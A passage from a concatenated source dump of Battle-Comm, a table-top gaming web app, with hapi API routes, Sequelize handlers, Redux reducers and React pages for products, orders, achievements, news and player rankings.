}];<file_sep>/src/library/loader/constants/LoaderConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ SHOW_LOADER: null, HIDE_LOADER: null }); <file_sep>/server/routes/api/manufacturers.js 'use strict'; import Joi from 'joi'; import { manufacturers } from '../handlers'; module.exports = [ // Manufacturers { 'method': 'GET', 'path': '/api/manufacturers/{id}', 'config': { 'tags': ['api'], 'description': 'Get one manufacturer by id', 'notes': 'Get one manufacturer by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': manufacturers.get }, { 'method': 'GET', 'path': '/api/manufacturers', 'config': { 'tags': ['api'], 'description': 'Get all manufacturers', 'notes': 'Get all manufacturers' }, 'handler': manufacturers.getAll }, { 'method': 'POST', 'path': '/api/manufacturers', 'config': { 'tags': ['api'], 'description': 'Add a new manufacturer', 'notes': 'Add a new manufacturer', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'payload': { 'File': Joi.optional(), 'name': Joi.string().required(), 'description': Joi.optional(), 'url': Joi.optional() } } }, 'handler': manufacturers.create }, { 'method': 'PUT', 'path': '/api/manufacturers/{id}', 'config': { 'tags': ['api'], 'description': 'Update a manufacturer by id', 'notes': 'Update a manufacturer by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'id': Joi.optional(), 'updatedAt': Joi.optional(), 'createdAt': Joi.optional(), 'GameSystems': Joi.optional(), 'File': Joi.optional(), 'name': Joi.string().required(), 'description': Joi.optional(), 'url': Joi.optional() } } }, 'handler': manufacturers.update }, { 'method': 'POST', 'path': '/api/search/manufacturers', 'config': { 'tags': ['api'], 'description': 'Return Manufacturer search results', 'notes': 'Return Manufacturer search results', 'validate': { 'payload': { 'maxResults': Joi.optional(), 'searchQuery': Joi.optional(), 'searchBy': Joi.optional(), 'orderBy': Joi.string().required(), 'pageNumber': Joi.number().required(), 'pageSize': Joi.optional() } } }, 'handler': manufacturers.search }, { 'method': 'DELETE', 'path': '/api/manufacturers/{id}', 'config': { 'tags': ['api'], 'description': 'Delete a manufacturer by id', 'notes': 'Delete a manufacturer by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': manufacturers.delete } ]; <file_sep>/src/library/cart/actions/CartActions.js 'use strict'; import CartItemConstants from '../constants/CartItemConstants'; export default { add: (product, qty) => { let data = { 'product': product, 'cartQty': parseInt(qty, 10) }; return (dispatch) => { dispatch({ 'type': CartItemConstants.ADD_CART_ITEM, 'data': data }); }; }, clearCart: () => { return (dispatch) => { dispatch({ 'type': CartItemConstants.CLEAR_CART, 'data': true }); }; }, toggle: (showHide) => { return (dispatch) => { dispatch({ 'type': CartItemConstants.TOGGLE, 'data': showHide }); }; }, update: (product, newCartQty) => { let data = { 'product': product, 'cartQty': parseInt(newCartQty, 10) }; return (dispatch) => { dispatch({ 'type': CartItemConstants.UPDATE_CART_ITEM, 'data': data }); }; }, updateStock: (productId, outOfStock) => { let data = { 'id': productId, 'outOfStock': outOfStock }; return (dispatch) => { dispatch({ 'type': CartItemConstants.UPDATE_STOCK, 'data': data }); }; }, remove: (itemId) => { return (dispatch) => { dispatch({ 'type': CartItemConstants.REMOVE_CART_ITEM, 'id': itemId }); }; } }; <file_sep>/server/routes/handlers/achievements.js 'use strict'; import models from '../../models'; // Achievement Route Configs let achievements = { get: (request, reply) => { models.Achievement.find({ 'where': { 'id': request.params.id }, 'include': [{ 'model': models.File }, { 'model': models.User, 'attributes': ['id', 'username'] } ] }) .then((response) => { if (response) { reply(response).code(200); } else { reply().code(404); } }); }, getAll: (request, reply) => { models.Achievement.findAll({ 'include': [{ 'model': models.File }], 'order': [ ['priority', 'DESC'] ] }) .then((response) => { reply(response).code(200); }); }, create: (request, reply) => { models.Achievement.create({ 'title': request.payload.title, 'category': request.payload.category, 'description': request.payload.description, 'priority': request.payload.priority || 100, 'rpValue': request.payload.rpValue || 0 }) .then((response) => { reply(response).code(200); }); }, update: (request, reply) => { models.Achievement.find({ 'where': { 'id': request.params.id } }) .then((achievement) => { if (achievement) { achievement.updateAttributes({ 'title': request.payload.title, 'category': request.payload.category, 'description': request.payload.description, 'priority': request.payload.priority, 'rpValue': request.payload.rpValue }).then((response) => { reply(response).code(200); }); } else { reply().code(404); } }); }, 'search': (request, reply) => { let searchByConfig; let pageSize = parseInt(request.payload.pageSize, 10) || 20; let searchQuery = request.payload.searchQuery || ''; let offset = (request.payload.pageNumber - 1) * pageSize; let orderBy = request.payload.orderBy ? (request.payload.orderBy === 'updatedAt' || request.payload.orderBy === 'createdAt' ? [request.payload.orderBy, 'DESC'] : [request.payload.orderBy, 'ASC']) : ['priority', 'DESC']; if (searchQuery) { searchByConfig = request.payload.searchBy ? { [request.payload.searchBy]: { '$iLike': '%' + searchQuery + '%' } } : { '$or': [{ 'title': { '$iLike': '%' + searchQuery + '%' } }, { 'description': { '$iLike': '%' + searchQuery + '%' } } ] }; } else { searchByConfig = {}; } models.Achievement.findAndCountAll({ 'where': searchByConfig, 'order': orderBy ? [orderBy] : [], 'offset': offset, 'limit': pageSize, 'include': [{ 'model': models.File }] }).then((response) => { let count = response.count; let results = response.rows; let totalPages = Math.ceil(count === 0 ? 1 : (count / pageSize)); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }, delete: (request, reply) => { models.Achievement.destroy({ 'where': { 'id': request.params.id } }) .then((response) => { if (response) { reply().code(200); } else { reply().code(404); } }); } }; export default achievements; <file_sep>/src/constants/GameSystemConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_GAME_SYSTEM_REQUEST: null, GET_GAME_SYSTEM: null, GET_GAME_SYSTEMS: null, CREATE_GAME_SYSTEM: null, UPDATE_GAME_SYSTEM: null, REMOVE_GAME_SYSTEM: null, FILTER_GAME_SYSTEMS: null }); <file_sep>/src/reducers/newsPosts.js 'use strict'; import NewsPostConstants from '../constants/NewsPostConstants'; const newsPost = (state = {}, action) => { switch (action.type) { case NewsPostConstants.GET_NEWS_POST: return Object.assign({}, state, action.data); case NewsPostConstants.CREATE_NEWS_POST: return Object.assign({}, state, action.data); case NewsPostConstants.UPDATE_NEWS_POST: return Object.assign({}, state, action.data); default: return state; } }; const newsPosts = (state = [], action) => { switch (action.type) { case NewsPostConstants.GET_NEWS_POSTS: return [...action.data]; case NewsPostConstants.CREATE_NEWS_POST: return [ ...state, newsPost(undefined, action) ]; case NewsPostConstants.REMOVE_NEWS_POST: let newsPostArray = [...state]; let index = state.findIndex((newsPost) => newsPost.id === action.data); if (index !== -1) { newsPostArray.splice(index, 1); } return newsPostArray; default: return state; } } export { newsPost, newsPosts }; <file_sep>/server/email-templates/subscriberRegistration.js 'use strict'; function buildTemplate(data) { return ` <div style="max-width:800px;position:relative;margin:20px auto;padding:15px;border:2px solid black;box-shadow:0 0 5px 2px lightgray;letter-spacing:1px;background-color:aliceblue;box-shadow: 0 0 2px 1px rgba(31, 31, 33, 0.47);"> <div style="text-align:center;"> <h1 style="font-size:40px; font-size:40px; padding-bottom:5px; margin-top:15px; border-bottom:1px solid #cacaca;">Welcome to Battle-Comm, subscriber!</h1> <h2 style="font-size:28px">...your new account is pending activation. Purchasing a subscription will activate your account and grant access to the BC Store and more.</h2> <h2 style="font-size:24px">Username: ${data.username}</h2> </div> <h4 style="font-size="18px">Welcome to the Community for Table-Top Games,</h4> <p style="font-size:14px">Find access to a worldwide community of dedicated table-top gamers and hobbyists. Battle-Comm is a platform to connect with other players and earn Reward Points that can be applied toward new products and discounts at your friendly local gaming stores. As a subscriber you gain access to more features and the Battle-Comm store. Thanks for helping support our development as the go-to source for table-top player ranking.</p> <h4 style="font-size:16px;text-align:center;">Name: ${data.lastName}, ${data.firstName} | Username: ${data.username} | Email: ${data.email} | Role: Subscriber</h4> <div style="text-align:center;"> <b>Follow the link to complete your subscription and login.</b> </div> <div style="text-align:center;margin:20px 0;"> <a style="padding: 6px 12px;font-size: 20px;line-height: 1.42857143;border-radius: 3px;background: #278ECA;color: white;text-decoration: none;" href="https://www.battle-comm.net/subscribe">Subscribe</a> </div> <div style="text-align:center; border-top:1px solid #cacaca; padding:20px 0 0;"> <img src="https://www.battle-comm.net/images/BC_Web_Logo.png"> </div> </div> `; } export default buildTemplate; <file_sep>/server/routes/api/productOrders.js 'use strict'; import Joi from 'joi'; import { productOrders } from '../handlers'; module.exports = [ // Product Orders { 'method': 'GET', 'path': '/api/productOrders/{id}', 'config': { 'tags': ['api'], 'description': 'Get one productOrder by id', 'notes': 'Get one productOrder by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': productOrders.get }, { 'method': 'GET', 'path': '/api/productOrders', 'config': { 'tags': ['api'], 'description': 'Get all productOrders', 'notes': 'Get all productOrders', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, }, 'handler': productOrders.getAll }, { 'method': 'POST', 'path': '/api/productOrders', 'config': { 'tags': ['api'], 'description': 'Add a new productOrder', 'notes': 'Add a new productOrder', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'payload': { 'status': Joi.string().valid('processing', 'shipped', 'completed').required(), 'orderDetails': Joi.optional(), 'productDetails': Joi.array().items(Joi.object().keys({ 'id': Joi.optional(), 'createdAt': Joi.optional(), 'updatedAt': Joi.optional(), 'FactionId': Joi.optional(), 'GameSystemId': Joi.optional(), 'ManufacturerId': Joi.optional(), 'Files': Joi.optional(), 'qty': Joi.number().required(), 'SKU': Joi.string().required(), 'name': Joi.string().required(), 'price': Joi.number().required(), 'color': Joi.optional(), 'description': Joi.optional(), 'tags': Joi.optional(), 'category': Joi.optional(), 'stockQty': Joi.optional(), 'shippingCost': Joi.optional(), 'isDisplayed': Joi.optional(), 'isFeatured': Joi.optional(), 'isNew': Joi.optional(), 'isOnSale': Joi.optional(), 'isInStock': Joi.optional() })).required(), 'orderTotal': Joi.number().required(), 'UserId': Joi.number().required(), 'customerFullName': Joi.string().required(), 'customerEmail': Joi.string().email().required(), 'phone': Joi.optional(), 'shippingStreet': Joi.string().required(), 'shippingApartment': Joi.optional(), 'shippingCity': Joi.string().required(), 'shippingState': Joi.string().required(), 'shippingZip': Joi.string().required(), 'shippingCountry': Joi.string().required() } } }, 'handler': productOrders.create }, { 'method': 'PUT', 'path': '/api/productOrders/{id}', 'config': { 'tags': ['api'], 'description': 'Update a productOrder by id', 'notes': 'Update a productOrder by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'status': Joi.string().valid('processing', 'shipped', 'completed').required(), 'orderDetails': Joi.string().required(), 'productDetails': Joi.optional(), 'orderTotal': Joi.number().required(), 'id': Joi.optional(), 'createdAt': Joi.optional(), 'updatedAt': Joi.optional(), 'UserId': Joi.number().required(), 'customerFullName': Joi.string().required(), 'customerEmail': Joi.string().email().required(), 'phone': Joi.optional(), 'shippingStreet': Joi.string().required(), 'shippingApartment': Joi.optional(), 'shippingCity': Joi.string().required(), 'shippingState': Joi.string().required(), 'shippingZip': Joi.string().required(), 'shippingCountry': Joi.string().required() } } }, 'handler': productOrders.update }, { 'method': 'POST', 'path': '/api/search/productOrders', 'config': { 'tags': ['api'], 'description': 'Return Product Order search results', 'notes': 'Return Product Order search results', 'validate': { 'payload': { 'maxResults': Joi.optional(), 'searchQuery': Joi.optional(), 'orderBy': Joi.optional(), 'searchBy': Joi.optional(), 'pageNumber': Joi.number().required(), 'pageSize': Joi.optional() } } }, 'handler': productOrders.search }, { 'method': 'DELETE', 'path': '/api/productOrders/{id}', 'config': { 'tags': ['api'], 'description': 'Delete a productOrder by id', 'notes': 'Delete a productOrder by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': productOrders.delete } ]; <file_sep>/src/services/BannerSlideService.js 'use strict'; import axios from 'axios'; export default { get: (id) => { return axios.get('/bannerSlides/' + id) .then(function(response) { return response.data; }); }, getAll: () => { return axios.get('/bannerSlides') .then(function(response) { return response.data; }); }, create: (data) => { return axios.post('/bannerSlides', data) .then(function(response) { return response.data; }); }, update: (id, data) => { return axios.put('/bannerSlides/' + id, data) .then(function(response) { return response.data; }); }, remove: (id) => { return axios.delete('/bannerSlides/' + id) .then(function(response) { return response.data; }); } }; <file_sep>/compiled-server/routes/handlers/products.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _models = require('../../models'); var _models2 = _interopRequireDefault(_models); var _boom = require('boom'); var _boom2 = _interopRequireDefault(_boom); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } // Product Route Configs var products = { get: function get(request, reply) { _models2.default.Product.find({ 'where': { 'id': request.params.id }, 'include': [{ 'model': _models2.default.File }] }).then(function (response) { if (response) { reply(response).code(200); } else { reply().code(404); } }); }, getAll: function getAll(request, reply) { _models2.default.Product.findAll().then(function (response) { reply(response).code(200); }); }, create: function create(request, reply) { _models2.default.Product.create({ 'FactionId': request.payload.FactionId, 'GameSystemId': request.payload.GameSystemId, 'ManufacturerId': request.payload.ManufacturerId, 'SKU': request.payload.SKU, 'name': request.payload.name, 'price': request.payload.price, 'shippingCost': request.payload.shippingCost, 'description': request.payload.description, 'manufacturerId': request.payload.manufacturerId, 'gameSystem': request.payload.gameSystem, 'color': request.payload.color, 'tags': request.payload.tags, 'category': request.payload.category, 'stockQty': request.payload.stockQty, 'isInStock': request.payload.isInStock, 'filterVal': request.payload.filterVal, 'isDisplayed': request.payload.isDisplayed, 'isFeatured': request.payload.isFeatured, 'isNew': request.payload.isNew, 'isOnSale': request.payload.isOnSale }).then(function (response) { reply(response).code(200); }); }, update: function update(request, reply) { _models2.default.Product.find({ 'where': { 'id': request.params.id } }).then(function (response) { if (response) { response.updateAttributes({ 'FactionId': request.payload.FactionId, 'GameSystemId': request.payload.GameSystemId, 'ManufacturerId': request.payload.ManufacturerId, 'SKU': request.payload.SKU, 'name': request.payload.name, 'price': request.payload.price, 'shippingCost': request.payload.shippingCost, 'description': request.payload.description, 'manufacturerId': request.payload.manufacturerId, 'gameSystem': request.payload.gameSystem, 'color': request.payload.color, 'tags': request.payload.tags, 'category': request.payload.category, 'stockQty': request.payload.stockQty, 'isInStock': request.payload.isInStock, 'filterVal': request.payload.filterVal, 'isDisplayed': request.payload.isDisplayed, 'isFeatured': request.payload.isFeatured, 'isNew': request.payload.isNew, 'isOnSale': request.payload.isOnSale }).then(function (response) { reply(response).code(200); }); } else { reply().code(404); } }); }, updateStock: function updateStock(request, reply) { var products = request.payload.products; var findConfig = { '$or': [] }; products.forEach(function (product) { findConfig['$or'].push({ 'id': product.id }); }); var promises = []; _models2.default.Product.findAll({ 'where': findConfig }).then(function (matchingProducts) { if (request.payload.direction === 'increment') { matchingProducts.forEach(function (matchingProduct) { var qtyValue = products.find(function (product) { return matchingProduct.id === product.id; }).qty; promises.push(matchingProduct.increment({ 'stockQty': qtyValue })); }); Promise.all(promises).then(function (updatedProducts) { reply(updatedProducts).code(200); }); } else { var failResponse = []; var outOfStockCount = 0; matchingProducts.forEach(function (matchingProduct) { var outOfStock = matchingProduct.stockQty - products.find(function (product) { return matchingProduct.id === product.id; }).qty < 0; outOfStockCount += outOfStock ? 1 : 0; failResponse.push({ 'id': matchingProduct.id, 'outOfStock': outOfStock }); }); if (outOfStockCount === 0) { matchingProducts.forEach(function (matchingProduct) { var qtyValue = products.find(function (product) { return matchingProduct.id === product.id; }).qty; promises.push(matchingProduct.decrement({ 'stockQty': qtyValue })); }); Promise.all(promises).then(function (updatedProducts) { reply({ 'success': true, 'products': updatedProducts }).code(200); }); } else { reply({ 'success': false, 'products': failResponse }); } } }); }, search: function search(request, reply) { var searchByConfig = void 0; var pageSize = parseInt(request.payload.pageSize, 10) || 20; var searchQuery = request.payload.searchQuery || ''; var offset = (request.payload.pageNumber - 1) * pageSize; var orderBy = request.payload.orderBy ? request.payload.orderBy === 'updatedAt' || request.payload.orderBy === 'createdAt' ? [request.payload.orderBy, 'DESC'] : [request.payload.orderBy, 'ASC'] : undefined; if (searchQuery) { searchByConfig = request.payload.searchBy ? _defineProperty({}, request.payload.searchBy, { '$iLike': '%' + searchQuery + '%' }) : { '$or': [{ 'name': { '$iLike': '%' + searchQuery + '%' } }, { 'description': { '$iLike': '%' + searchQuery + '%' } }] }; } else { searchByConfig = {}; } if (request.payload.minPrice >= 0 && request.payload.maxPrice) { searchByConfig.price = { '$between': [request.payload.minPrice, request.payload.maxPrice] }; } if (request.payload.manufacturerId) { searchByConfig.ManufacturerId = request.payload.manufacturerId; } if (request.payload.gameSystemId) { searchByConfig.GameSystemId = request.payload.gameSystemId; } if (request.payload.storeView) { searchByConfig['$and'] = [{ 'stockQty': { '$gt': 0 } }, { 'isDisplayed': true }]; } _models2.default.Product.findAll({ 'where': searchByConfig, 'order': orderBy ? [orderBy] : [], 'offset': offset, 'limit': pageSize, 'include': { 'model': _models2.default.File } }).then(function (response) { var results = response; _models2.default.Product.findAll({ 'where': searchByConfig }).then(function (products) { var count = products.length; var totalPages = Math.ceil(count === 0 ? 1 : count / pageSize); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }); }, delete: function _delete(request, reply) { _models2.default.Product.destroy({ 'where': { 'id': request.params.id } }).then(function (response) { if (response) { reply().code(200); } else { reply().code(404); } }); } }; exports.default = products;<file_sep>/src/reducers/products.js 'use strict'; import ProductConstants from '../constants/ProductConstants'; const product = (state = {}, action) => { switch (action.type) { case ProductConstants.GET_PRODUCT: return Object.assign({}, state, action.data); case ProductConstants.CREATE_PRODUCT: return Object.assign({}, state, action.data); case ProductConstants.UPDATE_PRODUCT: return Object.assign({}, state, action.data); default: return state; } }; const products = (state = [], action) => { switch (action.type) { case ProductConstants.GET_PRODUCTS: return [...action.data]; case ProductConstants.CREATE_PRODUCT: return [ ...state, product(undefined, action) ]; case ProductConstants.REMOVE_PRODUCT: let productArray = [...state]; let index = state.findIndex((product) => product.id === action.data); if (index !== -1) { productArray.splice(index, 1); } return productArray; default: return state; } } export { product, products }; <file_sep>/src/components/pages/news/NewsPost.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import ViewWrapper from '../../ViewWrapper'; import NewsPostService from '../../../services/NewsPostService'; import {formatJSONDate} from '../../../library/utilities'; class NewsPost extends React.Component { constructor() { super(); this.state = { 'post': { 'User': {}, 'Files': [] } } } componentDidMount() { document.title = "Battle-Comm | News Post"; const { history, location, match } = this.props; NewsPostService.get(match.params.postId).then((post) => { if (!post.published) { history.push('/news'); } else { this.setState({ 'post': post }); } }) } render() { let post = this.state.post; return ( <ViewWrapper headerImage="/images/Titles/News.png" alt="News"> <div className="row"> <div className="small-12 columns"> <div className="news-post"> <h2>{post.title}</h2> <div className="row"> <div className="small-6 medium-3 columns"><strong>Author:</strong> {post.User.firstName} {post.User.lastName}</div> <div className="small-6 medium-3 columns"><strong>Date:</strong> {formatJSONDate(post.updatedAt)}</div> <div className="small-12 medium-3 columns"><strong>Category:</strong> {post.category}</div> </div> <div className="summary push-top"> { post.Files.length > 0 && <img src={`${post.Files[0].locationUrl}${post.Files[0].name}`} /> } {post.body} </div> <div className="row push-top"> <div className="small-12 columns text-center"><strong>Tags:</strong> {post.tags}</div> </div> <div className="row"> <div className="small-12 columns text-right push-bottom"> <Link to={`/news`} className="button small medium color-white right collapse">Back to News List</Link> </div> </div> </div> </div> </div> </ViewWrapper> ); } } export default withRouter(NewsPost); <file_sep>/src/components/pages/players/PlayerRankingSearch.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import ViewWrapper from '../../ViewWrapper'; import GameSystemActions from '../../../actions/GameSystemActions'; import RankingService from '../../../services/RankingService'; import {PaginationControls} from '../../../library/pagination'; const mapStateToProps = (state) => { return { 'factions': state.factions, 'gameSystems': state.gameSystems } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'getGameSystem': GameSystemActions.get, 'getGameSystems': GameSystemActions.getAll }, dispatch); } class PlayerRankingSearch extends React.Component { constructor() { super(); this.state = { 'pagination': {}, 'results': [], 'searchQuery': '', 'selectedGameSystem': { 'Factions': [] }, 'orderBy': '' } this.handleFactionChange = this.handleFactionChange.bind(this); this.handleGameSystemChange = this.handleGameSystemChange.bind(this); this.handlePageChange = this.handlePageChange.bind(this); this.handleOrderByChange = this.handleOrderByChange.bind(this); this.showAlert = this.showAlert.bind(this); } componentDidMount() { document.title = "Battle-Comm | Player Ranking Search"; // TODO: Move this logic to willReceiveProps if (!this.props.match.params.gameSystemId) { this.showAlert('gameSystemNotFound'); this.props.history.goBack(); } this.props.getGameSystems(); if (this.props.match.params.gameSystemId === 'all') { return; } else { this.props.getGameSystem(this.props.match.params.gameSystemId).then((gameSystem) => { this.setState({ 'selectedGameSystem': gameSystem }); }); this.handlePageChange(this.props.match.params, 1); } } componentWillReceiveProps(nextProps) { let {match} = this.props; if (match.params.gameSystemId !== nextProps.match.params.gameSystemId || match.params.factionId !== nextProps.match.params.factionId) { if (nextProps.match.params.gameSystemId === 'all') { return; } else { this.props.getGameSystem(nextProps.match.params.gameSystemId).then((gameSystem) => { this.setState({ 'selectedGameSystem': gameSystem }); }); this.handlePageChange(nextProps.match.params, 1); } } } handleFactionChange(e) { e.preventDefault(); let factionId = e.target.value; if (factionId) { this.props.history.push(`/ranking/search/${this.props.match.params.gameSystemId}/${factionId}`); } else { this.props.history.push(`/ranking/search/${this.props.match.params.gameSystemId}`); } } handleGameSystemChange(e) { e.preventDefault(); let gameSystemId = e.target.value; let goToUrl = `/ranking/search/${gameSystemId}`; this.props.history.push(goToUrl); } handleOrderByChange(e) { this.setState({ 'orderBy': e.target.value }) } handlePageChange(params, pageNumber) { if (params.factionId) { RankingService.searchByFaction(params.factionId, { 'pageNumber': pageNumber, 'pageSize': 20 }).then((response) => { this.setState({ 'pagination': response.pagination, 'results': response.results.filter((result) => result.GameSystemRanking.User) }); }); } else { RankingService.searchByGameSystem(params.gameSystemId, { 'pageNumber': pageNumber, 'pageSize': 20 }).then((response) => { this.setState({ 'pagination': response.pagination, 'results': response.results }); }); } } showAlert(selector) { const alerts = { 'gameSystemNotFound': () => { this.props.addAlert({ 'title': 'New Game System Found', 'message': `No game system found with the supplied id`, 'type': 'error', 'delay': 3000 }); } } return alerts[selector](); } render() { return ( <ViewWrapper headerImage="/images/Titles/Player_Ranking_Search.png" headerAlt="Player Ranking Search"> <div className="row"> <div className="small-12 medium-6 columns"> <div className="form-group"> <label>Game System</label> <select name="gameSystemId" value={this.props.match.params.gameSystemId || ''} onChange={this.handleGameSystemChange}> <option value="">--Select--</option> { this.props.gameSystems.map((gameSystem, i) => <option key={gameSystem.id} value={gameSystem.id}>{gameSystem.name}</option> ) } </select> </div> </div> <div className="small-12 medium-6 columns"> <div className="form-group"> <label>Faction</label> <select name="factionId" value={this.props.match.params.factionId || ''} onChange={this.handleFactionChange}> <option value="">All Factions</option> { this.state.selectedGameSystem.Factions.map((faction, i) => <option key={faction.id} value={faction.id}>{faction.name}</option> ) } </select> </div> </div> </div> <hr/> <div className="small-12 columns"> { this.state.results.length > 0 && this.props.match.params.gameSystemId !== 'all' ? <table className="stack hover text-center"> <thead> <tr> <th className="text-center">Username</th> <th className="text-center">Total Wins</th> <th className="text-center">Total Losses</th> <th className="text-center">Total Draws</th> <th className="text-center">Point Value</th> <th className="text-center">View Profile</th> </tr> </thead> <tbody> { this.state.results.map((ranking, i) => <tr key={ranking.id}> <td><strong>Username: </strong><Link className="action-item" to={`/players/profile/${this.props.match.params.factionId ? ranking.GameSystemRanking.User.username : ranking.User.username}`}>{this.props.match.params.factionId ? ranking.GameSystemRanking.User.username : ranking.User.username}</Link></td> <td><strong>Total Wins: </strong>{ranking.totalWins}</td> <td><strong>Total Losses: </strong>{ranking.totalLosses}</td> <td><strong>Total Draws: </strong>{ranking.totalDraws}</td> <td><strong>PointValue: </strong>{ranking.pointValue}</td> <td><strong>Profile: </strong> <Link className="action-item" to={`/players/profile/${this.props.match.params.factionId ? ranking.GameSystemRanking.User.username : ranking.User.username}`}> <span className="mobile-text">View</span> </Link> </td> </tr> ) } </tbody> </table> : <h3>No results found with the selected options. Choose a <strong>Game System</strong> and/or <strong>Faction</strong> to display new ranking search results.</h3> } <hr/> <div className="small-12 columns"> <PaginationControls pageNumber={this.state.pagination.pageNumber} pageSize={this.state.pagination.pageSize} totalPages={this.state.pagination.totalPages} totalResults={this.state.pagination.totalResults} handlePageChange={this.handlePageChange.bind(this, this.props.match.params)}></PaginationControls> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(PlayerRankingSearch)); <file_sep>/src/components/pages/admin/EditAchievement.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {AlertActions} from '../../../library/alerts'; import {handlers, uploadFiles} from '../../../library/utilities'; import {Form, Input, TextArea, Select, CheckBox, FileUpload, getFormErrorCount} from '../../../library/validations'; import ViewWrapper from '../../ViewWrapper'; import FileService from '../../../services/FileService'; import ManufacturerActions from '../../../actions/ManufacturerActions'; import AchievementService from '../../../services/AchievementService'; import AdminMenu from '../../pieces/AdminMenu'; const mapStateToProps = (state) => { return { 'manufacturers': state.manufacturers, 'user': state.user, 'forms': state.forms } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'getManufacturer': ManufacturerActions.get, 'getManufacturers': ManufacturerActions.getAll }, dispatch); } class EditAchievement extends React.Component { constructor() { super(); this.state = { 'files': [], 'gameSystems': [], 'achievement': { 'priority': 100, 'File': {} }, 'newAchievement': false, 'newFiles': [] } this.handleDeleteFile = this.handleDeleteFile.bind(this); this.handleFileUpload = this.handleFileUpload.bind(this); this.handleInputChange = this.handleInputChange.bind(this); this.handleDeleteAchievement = this.handleDeleteAchievement.bind(this); this.handleCheckBoxChange = this.handleCheckBoxChange.bind(this); this.handleManufacturerChange = this.handleManufacturerChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.showAlert = this.showAlert.bind(this); this.uploadFiles = this.uploadFiles.bind(this); } componentDidMount() { document.title = "Battle-Comm | Achievement Edit"; this.props.getManufacturers(); if (this.props.match.params.achievementId) { AchievementService.get(this.props.match.params.achievementId).then((achievement) => { this.setState({ 'achievement': achievement, 'files': achievement.File ? [achievement.File] : [] }); }).catch(() => { this.showAlert('notFound'); this.props.history.push('/admin/achievements'); }); } else { this.setState({ 'newAchievement': true }) } } handleDeleteFile(fileId, index, e) { if (e) { e.preventDefault(); } FileService.remove(fileId).then(() => { let files = this.state.files; files.splice(index, 1); this.setState({ 'files': files }); this.showAlert('fileRemoved'); }); } handleDeleteAchievement() { AchievementService.remove(this.props.match.params.achievementId).then(() => { this.showAlert('achievementDeleted'); this.props.history.push('/admin/achievements'); }); } handleFileUpload(files) { let achievement = this.state.achievement; let newFiles = this.state.newFiles; this.uploadFiles(files).then((responses) => { responses = responses.map((response, i) => { response = { 'name': response.data.file.name, 'size': response.data.file.size, 'type': response.data.file.type, 'locationUrl': response.data.file.locationUrl }; return response; }); let files = responses.concat(this.state.files); newFiles = newFiles.concat(responses); this.setState({ 'files': files, 'newFiles': newFiles }); this.showAlert('uploadSuccess'); }); } handleCheckBoxChange(e) { this.setState({ 'achievement': handlers.updateCheckBox(e, this.state.achievement) }); } handleInputChange(e) { this.setState({ 'achievement': handlers.updateInput(e, this.state.achievement) }); } handleManufacturerChange(e) { let achievement = this.state.achievement; achievement.ManufacturerId = e.target.value; achievement.GameSystemId = undefined; this.props.getManufacturer(e.target.value).then((manufacturer) => { this.setState({ 'achievement': achievement, 'gameSystems': manufacturer.GameSystems }); }); } handleSubmit(e) { e.preventDefault(); let post = this.state.achievement; let method = this.props.match.params.achievementId ? 'update' : 'create'; let newFiles = this.state.newFiles; AchievementService[method]((method === 'update' ? post.id : post), (method === 'update' ? post : null)).then((achievement) => { if (newFiles.length > 0) { newFiles.forEach((file) => { FileService.create({ 'AchievementId': achievement.id, 'identifier': 'achievement', 'locationUrl': file.locationUrl, 'name': file.name, 'size': file.size, 'type': file.type }); }); } this.setState({ 'achievement': achievement }); if (this.props.match.params.achievementId) { this.showAlert('achievementUpdated'); this.props.history.push('/admin/achievements'); } else { this.showAlert('achievementCreated'); this.props.history.push(`/admin/achievements/edit/${achievement.id}`); } }); } showAlert(selector) { const alerts = { 'achievementCreated': () => { this.props.addAlert({ 'title': 